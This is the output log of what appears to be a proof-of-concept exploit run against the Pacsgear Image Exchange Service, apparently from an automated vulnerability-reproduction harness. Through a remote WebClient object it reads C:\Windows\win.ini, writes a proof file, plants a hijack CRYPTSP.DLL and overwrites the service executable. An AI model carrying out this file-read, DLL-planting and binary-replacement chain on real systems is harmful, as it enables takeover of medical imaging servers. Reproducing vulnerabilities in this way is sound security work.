[+] Reading C:\Windows\win.ini and writing proof file through remote WebClient
Obtained remote WebClient transparent=True uri=/cf42663d_09c0_434a_be01_272f1e6855a8/dwtianv4xyiz5tosc0zcnkah_1.rem
READ bytes=16 uri=file:///C:/windows/win.ini
[mail]
mapi=1

UPLOAD bytes=73 response=0 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/REMOTE_WRITE_PROOF_1.txt
VERIFY bytes=73 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/REMOTE_WRITE_PROOF_1.txt
[+] Planting CRYPTSP.DLL in the product application directory through remote WebClient
Obtained remote WebClient transparent=True uri=/cf42663d_09c0_434a_be01_272f1e6855a8/zyaqy1rr9ar36ixjzybheh+g_3.rem
UPLOAD bytes=83454 response=0 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/CRYPTSP.DLL
VERIFY bytes=83454 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/CRYPTSP.DLL
[+] Overwriting PGImageExchangeQueueSvc.exe through remote WebClient
Obtained remote WebClient transparent=True uri=/cf42663d_09c0_434a_be01_272f1e6855a8/jyx8dsgdo7k_pxgrwaxgpt5i_4.rem
UPLOAD bytes=114101 response=0 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/PGImageExchangeQueueSvc.exe
VERIFY bytes=114101 target=file:///Z:/data/pruva/runs/02ae215a-af03-454a-a465-5525d65e97e6/bundle/artifacts/vendor_product/msi_extract/Program%20Files/Pacsgear/Pacsgear%20Image%20Exchange%20Service/PGImageExchangeQueueSvc.exe